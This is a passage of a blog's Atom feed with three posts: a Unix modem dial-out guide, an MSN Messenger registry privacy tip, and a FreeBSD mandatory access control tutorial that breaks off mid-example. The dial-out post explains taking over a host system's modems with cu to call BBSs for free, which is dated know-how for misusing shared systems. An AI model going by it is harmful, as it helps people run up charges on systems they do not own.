src='http://2.bp.blogspot.com/-wR0RpbOVqU8/TbuIQ84ZrrI/AAAAAAAAAXY/V5OPJ1hee08/s220/b301.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9075231620953005452.post-6206015826436096678</id><published>2008-12-20T04:06:00.000+07:00</published><updated>2008-12-20T04:07:42.986+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tips and trick'/><category scheme='http://www.blogger.com/atom/ns#' term='tutorial'/><title type='text'>HOW TO DIAL OUT ON A UNIX SYSTEM</title><content type='html'>This document makes the assumption that you are currently logged on to the&lt;br /&gt; system and are sitting in a shell environment.&lt;br /&gt;         1. First of all we need to locate the L-devices file.&lt;br /&gt;            It should be found in the /usr/lib/uucp directory,&lt;br /&gt;            but in case it isn't typing:&lt;br /&gt;                       find / -name L-devices -print&lt;br /&gt;            will show you where it is.&lt;div class="fullpost"&gt;&lt;br /&gt;If you can't find it then don't worry as we can get&lt;br /&gt;            around it, only it will take a bit of trial and error.&lt;br /&gt;         2. If you found the L-devices file then we need to list&lt;br /&gt;            it by typing:&lt;br /&gt;                       cat L-devices&lt;br /&gt;            If it runs off the screen then type:&lt;br /&gt;                       cat L-devices | more&lt;br /&gt;            This will page the output - space displays the next&lt;br /&gt;            page and return will show the next line while q quits.&lt;br /&gt;            This file shows us to which serial line (port) the&lt;br /&gt;            modems (ACU's) are connected, it also shows when they&lt;br /&gt;            can be called and the baud rate.&lt;br /&gt;            We are interested in the serial line and the baud rate.&lt;br /&gt;            Choose a line with your desired speed and make a note of&lt;br /&gt;            the serial line. The speed is shown as 2400,1200,300 etc.&lt;br /&gt;            and the serial line as ttynn where nn is a number.&lt;br /&gt;         3. If you couldn't find/list the L-devices file then type:&lt;br /&gt;                       who am i&lt;br /&gt;            This will show which serial line you are on, and as you&lt;br /&gt;            are on a modem then it's a fair bet that the others are&lt;br /&gt;            not too far away. e.g. If you are on line tty07 then&lt;br /&gt;            there's a good chance of a modem being on tty06,tty08 or&lt;br /&gt;            thereabouts.&lt;br /&gt;         4. Now we need to make a direct connection to the modem by&lt;br /&gt;            typing:&lt;br /&gt;                       cu -sbaud -l/dev/ttynn dir&lt;br /&gt;            where baud and ttynn are your desired speed and serial&lt;br /&gt;            line respectively.&lt;br /&gt;            If you couldn't find/list the L-devices file then this is&lt;br /&gt;            where the trial and error I told you about comes in.&lt;br /&gt;            When you get it right it should come up with 'Connected'.&lt;br /&gt;         5. Now we are talking directly to the modem. As a precaution&lt;br /&gt;            at this point I suggest saving the modem's current config&lt;br /&gt;            by typing:&lt;br /&gt;                       AT&amp;W&lt;br /&gt;            Don't worry if you can't see what you are typing as it is&lt;br /&gt;            probably in quiet mode with echo off.&lt;br /&gt;            Now restore the factory default settings by typing:&lt;br /&gt;                       AT&amp;F&lt;br /&gt;            Now you can set up the modem as you require it, just as&lt;br /&gt;            you would with your own and use it as normal.&lt;br /&gt;            When you have finished type:&lt;br /&gt;                       ATZ&lt;br /&gt;            to restore the modem back to it's initial state, then&lt;br /&gt;            type:&lt;br /&gt;                       ~.&lt;br /&gt;            It should come up 'Disconnected' and you should now be&lt;br /&gt;            back in your shell.&lt;br /&gt;                       -------------------------------&lt;br /&gt; It is probably best to try and log on to a RACE system on an 0800 number&lt;br /&gt; as then it won't cost you a penny to call your favourite BBS's.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9075231620953005452-6206015826436096678?l=chibogacrew.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chibogacrew.blogspot.com/feeds/6206015826436096678/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://chibogacrew.blogspot.com/2008/12/how-to-dial-out-on-unix-system.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9075231620953005452/posts/default/6206015826436096678'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9075231620953005452/posts/default/6206015826436096678'/><link rel='alternate' type='text/html' href='http://chibogacrew.blogspot.com/2008/12/how-to-dial-out-on-unix-system.html' title='HOW TO DIAL OUT ON A UNIX SYSTEM'/><author><name>arie yanie</name><uri>http://www.blogger.com/profile/07630688728764444344</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://2.bp.blogspot.com/-wR0RpbOVqU8/TbuIQ84ZrrI/AAAAAAAAAXY/V5OPJ1hee08/s220/b301.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9075231620953005452.post-6837417485575009417</id><published>2008-12-20T04:05:00.000+07:00</published><updated>2008-12-20T04:06:01.904+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tips and trick'/><title type='text'>MSN Messenger</title><content type='html'>Here is a tip for those of use who or security conscience. msn messenger&lt;br /&gt;keeps a list of all the people who are on the contact list of anyone who&lt;br /&gt;has used msn on your computer. open up regedit or what ever you use I use&lt;br /&gt;nortons version.&lt;div class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;step one: navigate to HKEY_CURRENT_USER&lt;br /&gt;Step two: open up software&lt;br /&gt;step three: open up microsoft&lt;br /&gt;Step four: open up MessengerService&lt;br /&gt;Step five: open up ListCache&lt;br /&gt;step six: click on .NET Messenger Service and steer in amazment that all&lt;br /&gt;that info is on your computer and u didn't even know about it&lt;br /&gt;step seven: right click on .NET Messenger Service and press DELETE.&lt;br /&gt;step eight: give yourself a pat on the back&lt;br /&gt;&lt;br /&gt;Msn will continue to work as normal and as far as im aware it doesn't&lt;br /&gt;replace the entry.&lt;br /&gt;&lt;br /&gt;Note: I have only tested this on WIN98SE as that it's the only OS I havE&lt;br /&gt;access to. if you use something else I suggest exporting the entry before&lt;br /&gt;you delete it just to be sure your safe.&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9075231620953005452-6837417485575009417?l=chibogacrew.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chibogacrew.blogspot.com/feeds/6837417485575009417/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://chibogacrew.blogspot.com/2008/12/msn-messenger.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9075231620953005452/posts/default/6837417485575009417'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9075231620953005452/posts/default/6837417485575009417'/><link rel='alternate' type='text/html' href='http://chibogacrew.blogspot.com/2008/12/msn-messenger.html' title='MSN Messenger'/><author><name>arie yanie</name><uri>http://www.blogger.com/profile/07630688728764444344</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://2.bp.blogspot.com/-wR0RpbOVqU8/TbuIQ84ZrrI/AAAAAAAAAXY/V5OPJ1hee08/s220/b301.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9075231620953005452.post-5998880107340308687</id><published>2008-12-20T04:03:00.000+07:00</published><updated>2008-12-20T04:04:54.643+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tips and trick'/><title type='text'>TrustedBSD Mandatory Access Control framework</title><content type='html'>1. Introduction&lt;br /&gt;===============&lt;br /&gt;&lt;br /&gt; I've written this tutorial because FreeBSD's handbook &lt;br /&gt; (http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/index.html) didn't offer enough &lt;br /&gt; information on how to correctly/safely install/configure/use MAC on a workstation. Please &lt;br /&gt; refer to the man pages and handbook for detailed explanation on how everything works.&lt;div class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;MAC (mandatory access control) is used to introduce system security modules in order to fortify &lt;br /&gt; the default lack of security policies in most unices. This paper discusses the &lt;br /&gt; instalation/configuration and basic use of the following policies: &lt;br /&gt;&lt;br /&gt; mac_seeotheruids, mac_bsdextended, mac_ifoff, mac_portacl, mac_test, mac_none, mac_stub&lt;br /&gt; mac_partition, mac_mls, mac_biba, mac_lomac&lt;br /&gt;&lt;br /&gt; Compile your kernel with the new policies by adding the following line in the kernel conf. file:&lt;br /&gt;  options MAC&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;2. Simple policies&lt;br /&gt;==================&lt;br /&gt;&lt;br /&gt; These policies work without the use of the labelling feature:&lt;br /&gt;&lt;br /&gt; A. mac_seeotheruids (man mac_seeotheruids)&lt;br /&gt;&lt;br /&gt;   $ ps ax |wc -l&lt;br /&gt;   90&lt;br /&gt;   # kldload mac_seeotheruids&lt;br /&gt;   # sysctl security.mac.seeotheruids.enabled=1&lt;br /&gt;   ^^^ this is the default behaviour (use sysctl.conf to make permanent changes)&lt;br /&gt;   $ ps ax | wc -l&lt;br /&gt;   30&lt;br /&gt;&lt;br /&gt;  You can exempt a groupd ID from the policy:&lt;br /&gt; &lt;br /&gt;   $ id -G&lt;br /&gt;   2000&lt;br /&gt;   $ ps ax | wc -l&lt;br /&gt;   30&lt;br /&gt;   # sysctl security.mac.seeotheruids.specificgid_enabled=1&lt;br /&gt;   # sysctl security.mac.seeotheruids.specificgid=2000&lt;br /&gt;   $ id -G&lt;br /&gt;   2000&lt;br /&gt;   $ ps ax | wc -l&lt;br /&gt;   90&lt;br /&gt;&lt;br /&gt;  Or even let users see their primary groups processes: (remember to set seeotheruids.specificgid_enabled to 0)&lt;br /&gt;&lt;br /&gt;   # sysctl security.mac.seeotheruids.primarygroup_enabled=1&lt;br /&gt;   $ id -G&lt;br /&gt;   2000&lt;br /&gt;   # ps ax | wc -l&lt;br /&gt;   35&lt;br /&gt;   (my 30 processes + 5 others owned by the same group)&lt;br /&gt;&lt;br /&gt; B. mac_bsdextended&lt;br /&gt;&lt;br /&gt;  Ever used ipfw ? This is fsfw (file system firewall).&lt;br /&gt;&lt;br /&gt;   # kldload mac_bsdextended&lt;br /&gt;   # ugidfw list&lt;br /&gt;   0 slots, 0 rules&lt;br /&gt;&lt;br /&gt;   # cat rc.mac_bsdextended&lt;br /&gt;    #!/bin/sh&lt;br /&gt;    i=0&lt;br /&gt;    while [ ${i} -le 4 ]&lt;br /&gt;    do     &lt;br /&gt;    ugidfw remove ${i}&lt;br /&gt;    i=`expr ${i} + 1`&lt;br /&gt;    done&lt;br /&gt;    ugidfw set 0 subject uid new object uid root mode rsx&lt;br /&gt;    ugidfw set 1 subject uid new object gid wheel mode rsx&lt;br /&gt;    # yes, /bin/ls works now&lt;br /&gt;    ugidfw set 2 subject uid new object uid bugghy mode n&lt;br /&gt;    ugidfw set 3 subject uid new object gid bugghy mode n&lt;br /&gt;    # owned by bugghy == private :)&lt;br /&gt;    ugidfw set 4 subject uid new object gid nobody mode n&lt;br /&gt;    # new can't "locate | grep /home/bugghy" anymore &lt;-- BIG security risk&lt;br /&gt;    # you can deny other groups (from /etc/group) or users (/etc/passwd)&lt;br /&gt;&lt;br /&gt;   $ id -u -nr&lt;br /&gt;   bugghy&lt;br /&gt;   $ echo sex &gt; /tmp/bug; chmod a+rwx /tmp/bug; ls -l /tmp/bug&lt;br /&gt;   -rwxrwxrwx    1 bugghy   wheel           4 Apr  5 20:05 bug*&lt;br /&gt; &lt;br /&gt;   $ id -u -nr&lt;br /&gt;   new&lt;br /&gt;   $ ls -l /home&lt;br /&gt;   ls: bugghy: Permission denied&lt;br /&gt;   total 4&lt;br /&gt;   drwxr-xr-x  2 new    new    512 Mar 28 15:09 new&lt;br /&gt;   $ ls /tmp/bug&lt;br /&gt;   ls: /tmp/bug: Permission denied&lt;br /&gt;&lt;br /&gt; C. mac_ifoff&lt;br /&gt;&lt;br /&gt;   # kldload mac_ifoff&lt;br /&gt;   $ ping -c 1 127.0.0.1&lt;br /&gt;   PING 127.0.0.1 (127.0.0.1): 56 data bytes&lt;br /&gt;   64 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.203 ms&lt;br /&gt;&lt;br /&gt;   --- 127.0.0.1 ping statistics ---&lt;br /&gt;   1 packets transmitted, 1 packets received, 0% packet loss&lt;br /&gt;   round-trip min/avg/max/stddev = 0.203/0.203/0.203/0.000 ms&lt;br /&gt;   # sysctl security.mac.ifoff.lo_enabled=0&lt;br /&gt;   $ ping -c 1 127.0.0.1&lt;br /&gt;   PING 127.0.0.1 (127.0.0.1): 56 data bytes&lt;br /&gt;&lt;br /&gt;   --- 127.0.0.1 ping statistics ---&lt;br /&gt;   1 packets transmitted, 0 packets received, 100% packet loss&lt;br /&gt;&lt;br /&gt;   # sysctl security.mac.ifoff.other_enabled=1&lt;br /&gt;   ^^^ we enable external interface (which is disabled by default)&lt;br /&gt;   You can write a script that runs aide (with a proper config file) and if it finds modified&lt;br /&gt;   files in the protected directories it won't allow external network traffic.&lt;br /&gt;   # sysctl security.mac.ifoff.bpfrecv_enabled=1&lt;br /&gt;   ^^^ allows Berkeley Packet Filter traffic (man 4 bpf)&lt;br /&gt;&lt;br /&gt; D. mac_portacl&lt;br /&gt;  To enable mac policies on sockets "sysctl security.mac.enforce_socket=1": (default value)&lt;br /&gt;&lt;br /&gt;   # kldload mac_portacl&lt;br /&gt;&lt;br /&gt;   # sysctl net.inet.ip.portrange.reservedlow=0&lt;br /&gt;   sysctl net.inet.ip.portrange.reservedlow: 0 -&gt; 0&lt;br /&gt;   # sysctl net.inet.ip.portrange.reservedhigh=1000&lt;br /&gt;   sysctl net.inet.ip.portrange.reservedhigh: 1023 -&gt; 1000&lt;br /&gt;   # sysctl security.mac.portacl.port_high=1010&lt;br /&gt;   security.mac.portacl.port_high: 1000 -&gt; 1010&lt;br /&gt; &lt;br /&gt;   # sysctl security.mac.portacl.suser_exempt=0&lt;br /&gt;   ^^^ rules apply for root too&lt;br /&gt; &lt;br /&gt;   $ id -u&lt;br /&gt;   2000&lt;br /&gt;   $ nc -l -p 1000&lt;br /&gt;   Can't grab 0.0.0.0:1000 with bind : Operation not permitted&lt;br /&gt;   ^^^ the ip.portrange.reservedhigh limit works&lt;br /&gt;   $ nc -l -p 1010&lt;br /&gt;   Can't grab 0.0.0.0:1010 with bind : Operation not permitted&lt;br /&gt;   ^^^ the mac.portacl.port_high limit works too&lt;br /&gt; &lt;br /&gt;   # sysctl security.mac.portacl.rules=uid:2000:tcp:1000,uid:2000:tcp:1010&lt;br /&gt;   ^^^ we enforce 2 rules (the first tries to bypass ip.portrange.reservedhigh&lt;br /&gt;   and the 2nd tries to bypass mac.portacl.port_high)&lt;br /&gt; &lt;br /&gt;   $ nc -l -p 1000&lt;br /&gt;   Can't grab 0.0.0.0:1000 with bind : Permission denied&lt;br /&gt;   ^^^ mac.portacl allows port 1000 binding while ip.portrange.reservedhigh doesn't&lt;br /&gt;   $ nc -l -p 1010&lt;br /&gt;   ^^^ works due to our firewall rule&lt;br /&gt; &lt;br /&gt;   NOTE: A basic security policy would be:&lt;br /&gt;   # cat rc.mac_portacl&lt;br /&gt;    #!/bin/sh&lt;br /&gt;    rules="uid:2000:tcp:79,uid:2000:tcp:80"&lt;br /&gt;    # allow uid 2000 to bind to port 79 and 80&lt;br /&gt; &lt;br /&gt;    sysctl net.inet.ip.portrange.reservedlow=0&lt;br /&gt;    sysctl net.inet.ip.portrange.reservedhigh=50&lt;br /&gt;    # first 50 ports are accessible only by root&lt;br /&gt;    sysctl security.mac.portacl.port_high=1023&lt;br /&gt;    # our policy works for 50 -&gt; 1023&lt;br /&gt;    sysctl security.mac.portacl.suser_exempt=1&lt;br /&gt;    # root doesn't need the policy&lt;br /&gt;    sysctl security.mac.portacl.rules=$rules&lt;br /&gt;&lt;br /&gt; E. mac_test&lt;br /&gt;&lt;br /&gt;  Tests the mac framework, finds corrupt labels amongst other things.&lt;br /&gt;&lt;br /&gt;   # kldload mac_test&lt;br /&gt;   # sysctl security.mac.test&lt;br /&gt;   security.mac.test.enabled: 1&lt;br /&gt;   security.mac.test.slot: 2&lt;br /&gt;   security.mac.test.init_count_bpfdesc: 0&lt;br /&gt;   security.mac.test.init_count_cred: 1920&lt;br /&gt;   security.mac.test.init_count_devfsdirent: 0&lt;br /&gt;   security.mac.test.init_count_ifnet: 0&lt;br /&gt;   ...&lt;br /&gt;   (big output)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; F. mac_none&lt;br /&gt;&lt;br /&gt;  No effect.&lt;br /&gt;&lt;br /&gt;   # kldload mac_none&lt;br /&gt;&lt;br /&gt; G. mac_stub&lt;br /&gt;&lt;br /&gt;  Sample policy that does nothing (man 4 mac_stub)&lt;br /&gt;&lt;br /&gt;   # kldload mac_stub&lt;br /&gt;&lt;br /&gt;3. Advanced policies&lt;br /&gt;====================&lt;br /&gt;&lt;br /&gt;        These policies need labelling. (man 7 maclabel, man 4 mac)&lt;br /&gt;&lt;br /&gt; setfmac, setfsmac - set file system labels&lt;br /&gt; setpmac   - set process mac&lt;br /&gt; ifconfig   - set network interface label&lt;br /&gt; login.conf  - set tty/user label&lt;br /&gt;&lt;br /&gt; I. login.conf labelling:&lt;br /&gt;&lt;br /&gt;  Example for the mac_partition and mac_mls policy:&lt;br /&gt;&lt;br /&gt;   insecure:\&lt;br /&gt;    :copyright=/etc/COPYRIGHT:\&lt;br /&gt;    :welcome=/etc/motd:\&lt;br /&gt;    :setenv=MAIL=/var/mail/$,BLOCKSIZE=K:\&lt;br /&gt;    :path=~/bin /bin /usr/bin /usr/local/bin:\&lt;br /&gt;    :manpath=/usr/share/man /usr/local/man:\&lt;br /&gt;    :nologin=/var/run/nologin:\&lt;br /&gt;    :cputime=1h30m:\&lt;br /&gt;    :datasize=8M:\&lt;br /&gt;    :vmemoryuse=100M:\&lt;br /&gt;    :stacksize=2M:\&lt;br /&gt;    :memorylocked=4M:\&lt;br /&gt;    :memoryuse=8M:\&lt;br /&gt;    :filesize=8M:\&lt;br /&gt;    :coredumpsize=8M:\&lt;br /&gt;    :openfiles=24:\&lt;br /&gt;    :maxproc=32:\&lt;br /&gt;    :priority=0:\&lt;br /&gt;    :requirehome:\&lt;br /&gt;    :passwordtime=90d:\  &lt;br /&gt;    :umask=002:\&lt;br /&gt;    :ignoretime@:\&lt;br /&gt;           :label=partition/13,mls/5:&lt;br /&gt;&lt;br /&gt;   ^^^ We create a new label in login.conf named insecure&lt;br /&gt;   (don't forget to run cap_mkdb /etc/login.conf after that)&lt;br /&gt;  &lt;br /&gt;   # pw user mod new -L insecure&lt;br /&gt;   ^^^ we set the user's label to insecure&lt;br /&gt;&lt;br /&gt; II. ifconfig labelling:&lt;br /&gt;&lt;br /&gt;   # ifconfig rl0 maclabel 'biba/high(low-high)'&lt;br /&gt;   ^^^ set high for incomming packets and all for outgoing&lt;br /&gt;&lt;br /&gt; III. setfmac, setfsmac labelling:&lt;br /&gt;&lt;br /&gt;  Boot to single user to enable multilabelling: (man 8 tunefs)&lt;br /&gt;&lt;br /&gt;   # tunefs -l enable /; tunefs -l enable /home&lt;br /&gt;&lt;br /&gt;  Exit single user and test:&lt;br /&gt;&lt;br /&gt;   # ls -lZa test &lt;br /&gt;   -rw-r--r--  1 root  new  mls/low 0 Apr  6 16:01 test&lt;br /&gt;   # setfmac mls/equal test&lt;br /&gt;   # getfmac test &lt;br /&gt;   test: mls/equal&lt;br /&gt;   # tail -n 1 mls-policy.txt&lt;br /&gt;   /home/new/test                mls/high&lt;br /&gt;   # setfsmac -f mls-policy.txt test&lt;br /&gt;   setfsmac: mls-policy.txt: read 23 specifications&lt;br /&gt;   # getfmac test &lt;br /&gt;   test: mls/high&lt;br /&gt;&lt;br /&gt;  We are set:&lt;br /&gt;&lt;br /&gt;   $ pw user show new | awk -F\: '{ print $5 }'&lt;br /&gt;   insecure&lt;br /&gt;   ^^^ user new's label is insecure&lt;br /&gt;   $ id -P&lt;br /&gt;   new:*:2000:2000:insecure:0:0:User &amp;:/home/new:/bin/sh&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; A. mac_partition&lt;br /&gt;&lt;br /&gt;   # kldload mac_partition&lt;br /&gt;   # top&lt;br /&gt;&lt;br /&gt;   $ id -u&lt;br /&gt;   2000&lt;br /&gt;   $ ps -Za|grep top&lt;br /&gt;   ^^^ we can't see top as the insecure user&lt;br /&gt;  &lt;br /&gt;   # killall -9 top&lt;br /&gt;&lt;br /&gt;   # setpmac partition/13 top&lt;br /&gt;   ^^^ we label top to our label &lt;br /&gt;&lt;br /&gt;   $ ps -Z&lt;br /&gt;   LABEL          PID   TT  STAT      TIME COMMAND&lt;br /&gt;   partition/13   4701  v1  SL     0:00.07 -su (sh)&lt;br /&gt;   partition/13   4783  v1  RL+    0:00.00 ps -Z&lt;br /&gt;   $ ps -ZU root&lt;br /&gt;   partition/13   976  p3  S+     0:00.02 top&lt;br /&gt;   ^^^ we can see top now (even if owned by root)  &lt;br /&gt;&lt;br /&gt;   You can disable all services from /etc/rc.conf and make a script to launch them&lt;br /&gt;   manually with proper labelling. (Why should an insecure user see cron running?)&lt;br /&gt;   Or even mess with the login scripts:&lt;br /&gt;&lt;br /&gt;   # setpmac partition/50 bash&lt;br /&gt;   # id -u&lt;br /&gt;   0&lt;br /&gt;   # pw user show root    &lt;br /&gt;   root:*:0:0::0:0:Charlie &amp;:/root:/usr/local/bin/bash&lt;br /&gt;   # ps Zax&lt;br /&gt;   LABEL          PID  TT  STAT      TIME COMMAND&lt;br /&gt;   partition/50  1136  p3  S      0:00.06 bash&lt;br /&gt;   partition/50  1169  p3  R+     0:00.00 ps Zax&lt;br /&gt;   ^^^ even root can only see his own partition processes&lt;br /&gt;&lt;br /&gt; B. mac_mls&lt;br /&gt;&lt;br /&gt;  mac_mls prevents the downward flow of information&lt;br /&gt;&lt;br /&gt;  Set default's label to "mls/equal(equal-equal)" and insecure's label to "mls/5(5-5)"&lt;br /&gt;         in /etc/login.conf (Do: cap_mkdb /etc/login.conf). Add "mac_mls_load="YES"" to &lt;br /&gt;  /boot/loader.conf. Reboot.&lt;br /&gt;&lt;br /&gt;   $ id -u&lt;br /&gt;   2000&lt;br /&gt;   $ getpmac&lt;br /&gt;   mls/5(5-5)&lt;br /&gt;   $ ls -lZ /dev/kmem&lt;br /&gt;   ls: /dev/kmem: Permission denied&lt;br /&gt;   ^^^ filesystem protection is in place&lt;br /&gt;&lt;br /&gt;   # echo s &gt; test1; echo e &gt; test2; echo x &gt; test3&lt;br /&gt;   # getfmac test2&lt;br /&gt;   test: mls/equal&lt;br /&gt;   # setfmac mls/1 test1; setfmac mls/10 test3&lt;br /&gt;   # chown new:new test?&lt;br /&gt;&lt;br /&gt;   Observation test:&lt;br /&gt;&lt;br /&gt;   $ ls test?&lt;br /&gt;   ls: test3: Permission denied&lt;br /&gt;   test1   test2&lt;br /&gt;   ^^^ we can't observe higher clearance level&lt;br /&gt;&lt;br /&gt;   Read test:&lt;br /&gt;&lt;br /&gt;   $ cat test?&lt;br /&gt;   s&lt;br /&gt;   e&lt;br /&gt;   cat: test3: Permission denied&lt;br /&gt;   ^^^ higher clearance level dissallows read&lt;br /&gt;&lt;br /&gt;   Write test:&lt;br /&gt;&lt;br /&gt;   $  echo 1 &gt; test1&lt;br /&gt;   cannot create test1: Permission denied&lt;br /&gt;   $  echo 1 &gt; test2&lt;br /&gt;   $  echo 1 &gt; test3&lt;br /&gt;&lt;br /&gt;   $ cat test?&lt;br /&gt;   1&lt;br /&gt;   e&lt;br /&gt;   cat: test3: Permission denied&lt;br /&gt;   # cat test3&lt;br /&gt;   1&lt;br /&gt;   ^^^ we can write to equal or higher, but not lower&lt;br /&gt;&lt;br /&gt;   NOTE: lower clearance can't observe higher clearance processes&lt;br /&gt;   A basic policy would be to enforce mls/high on everything not to be&lt;br /&gt;   read (even if it needs to be written) mls/low on everything not to be&lt;br /&gt;   written (even if it needs to be read) and mls/equal on the rest. Any&lt;br /&gt;   insecure users should be labelled mls/low.&lt;br /&gt;&lt;br /&gt; C. mac_biba&lt;br /&gt;&lt;br /&gt;  mac_biba prevents the upward flow of information&lt;br /&gt;&lt;br /&gt;  For this, the default label in /etc/login.conf will be "biba/equal(equal-equal)", &lt;br /&gt;  insecure's label will be "biba/5". Run "cap_mkdb /etc/login.conf" also add &lt;br /&gt;  mac_biba_load="YES" to loader.conf. Reboot.&lt;br /&gt;&lt;br /&gt;                        $ id -u&lt;br /&gt;                        2000&lt;br /&gt;   $ getpmac&lt;br /&gt;   biba/5(5-5)&lt;br /&gt;   $ ls -lZ /dev/kmem&lt;br /&gt;   crw-r-----  1 root  kmem  biba/high   2,   1 Apr  7 08:23 /dev/kmem&lt;br /&gt;   ^^^ filesystem protection is in place&lt;br /&gt;&lt;br /&gt;   Let the tests begin:&lt;br /&gt;&lt;br /&gt;   # echo s &gt; test1; echo e &gt; test2; echo x &gt; test3; echo o &gt; test4; echo r &gt; test5&lt;br /&gt;   # getfmac test2&lt;br /&gt;   test2: biba/high&lt;br /&gt;   # setfmac biba/2 test1; setfmac biba/4 test2; setfmac biba/5 test3; setfmac biba/6 test4; setfmac biba/9 test5&lt;br /&gt;   # chown new:new test?&lt;br /&gt;&lt;br /&gt;   Observation test:&lt;br /&gt;&lt;br /&gt;   $ ls test?; echo; cat test?&lt;br /&gt;   ls: test1: Permission denied&lt;br /&gt;   ls: test2: Permission denied&lt;br /&gt;   test3   test4   test5&lt;br /&gt;&lt;br /&gt;   cat: test1: Permission denied&lt;br /&gt;   cat: test2: Permission denied&lt;br /&gt;   x&lt;br /&gt;   o&lt;br /&gt;   r&lt;br /&gt;   ^^^ a higher integrity subject can't observe or read a lower integrity object&lt;br /&gt;&lt;br /&gt;   Write test:&lt;br /&gt;&lt;br /&gt;   $ echo 1 &gt; test1&lt;br /&gt;   $ echo 1 &gt; test2&lt;br /&gt;   $ echo 1 &gt; test3&lt;br /&gt;   $ echo 1 &gt; test4&lt;br /&gt;   cannot create test4: Permission denied&lt;br /&gt;   $ echo 1 &gt; test5&lt;br /&gt;   cannot create test5: Permission denied&lt;br /&gt;   $ cat test?&lt;br /&gt;   cat: test1: Permission denied&lt;br /&gt;   cat: test2: Permission denied&lt;br /&gt;   1&lt;br /&gt;   o&lt;br /&gt;   r&lt;br /&gt;   ^^^ a lower integrity subject can't write to a higher integrity subject&lt;br /&gt;&lt;br /&gt; D. mac_lomac (man 4 mac_lomac)&lt;br /&gt;&lt;br /&gt;                While mac_biba denies access to lower integrity objects, mac_lomac    &lt;br /&gt;                permits access to them, but downgrades the integrity level thus not   &lt;br /&gt;                violating the integrity rules. (yes I've taken this from the man page)&lt;br /&gt;&lt;br /&gt;  See section 5. (Notes) part IV. for details about why I didn't explain this policy.&lt;br /&gt;&lt;br /&gt;4. Full example&lt;br /&gt;===============&lt;br /&gt;&lt;br /&gt; I. Preparation:&lt;br /&gt;&lt;br /&gt;  We will use the following policies to build a secure environment on a FreeBSD 5.2.1 workstation:&lt;br /&gt;&lt;br /&gt;   mac_seeotheruids, mac_partition, mac_mls, mac_biba&lt;br /&gt;&lt;br /&gt;   We boot in single user mode and "tunefs -l enable" all partitions.&lt;br /&gt;&lt;br /&gt;   We add the following modules to loader.conf and then reboot:&lt;br /&gt;&lt;br /&gt;   # tail -n 6 /boot/loader.conf&lt;br /&gt;   mac_biba_load="YES"&lt;br /&gt;   mac_mls_load="YES"&lt;br /&gt;   mac_seeotheruids_load="YES"&lt;br /&gt;   mac_partition_load="YES"&lt;br /&gt;   &lt;br /&gt;&lt;br /&gt;   # kldstat | grep mac&lt;br /&gt;    4    1 0xc070d000 7cdc     mac_biba.ko&lt;br /&gt;    5    1 0xc0715000 7e5c     mac_mls.ko&lt;br /&gt;    9    1 0xc21e0000 2000     mac_seeotheruids.ko&lt;br /&gt;   12    1 0xc21e9000 2000     mac_partition.ko&lt;br /&gt;   ^^^ Modules are loaded&lt;br /&gt;&lt;br /&gt;                        We edit /etc/login.conf and add the following lines:&lt;br /&gt;&lt;br /&gt;                        # tail -n 25 /etc/login.conf&lt;br /&gt;&lt;br /&gt;                        insecure:\&lt;br /&gt;                                :copyright=/etc/COPYRIGHT:\&lt;br /&gt;                                :welcome=/etc/motd:\&lt;br /&gt;                                :setenv=MAIL=/var/mail/$,BLOCKSIZE=K:\&lt;br /&gt;                                :path=~/bin /bin /usr/bin /usr/local/bin:\&lt;br /&gt;                                :manpath=/usr/share/man /usr/local/man:\&lt;br /&gt;                                :nologin=/var/run/nologin:\&lt;br /&gt;                                :cputime=1h30m:\&lt;br /&gt;                                :datasize=8M:\&lt;br /&gt;                                :vmemoryuse=100M:\&lt;br /&gt;                                :stacksize=2M:\&lt;br /&gt;                                :memorylocked=4M:\&lt;br /&gt;                                :memoryuse=8M:\&lt;br /&gt;                                :filesize=8M:\&lt;br /&gt;                                :coredumpsize=8M:\&lt;br /&gt;                                :openfiles=24:\&lt;br /&gt;                                :maxproc=32:\&lt;br /&gt;                                :priority=0:\&lt;br /&gt;                                :requirehome:\&lt;br /&gt;                                :passwordtime=90d:\&lt;br /&gt;                                :umask=002:\&lt;br /&gt;                                :ignoretime@:\&lt;br /&gt;                                :label=mls/15(15-15),biba/15(15-15),partition/15:&lt;br /&gt;&lt;br /&gt;   We also label the default class in order not to interfere with us:&lt;br /&gt;&lt;br /&gt;    # cat /etc/login.conf|grep -A 25 "default:\\\\" | grep label&lt;br /&gt;           :label=mls/equal,biba/equal,partition/equal:&lt;br /&gt;&lt;br /&gt;                        # cap_mkdb /etc/login.conf&lt;br /&gt;&lt;br /&gt;   # adduser  &lt;br /&gt;   Username: new&lt;br /&gt;   Full name: test user&lt;br /&gt;   Uid (Leave empty for default): 2000&lt;br /&gt;   Login group [new]: &lt;br /&gt;   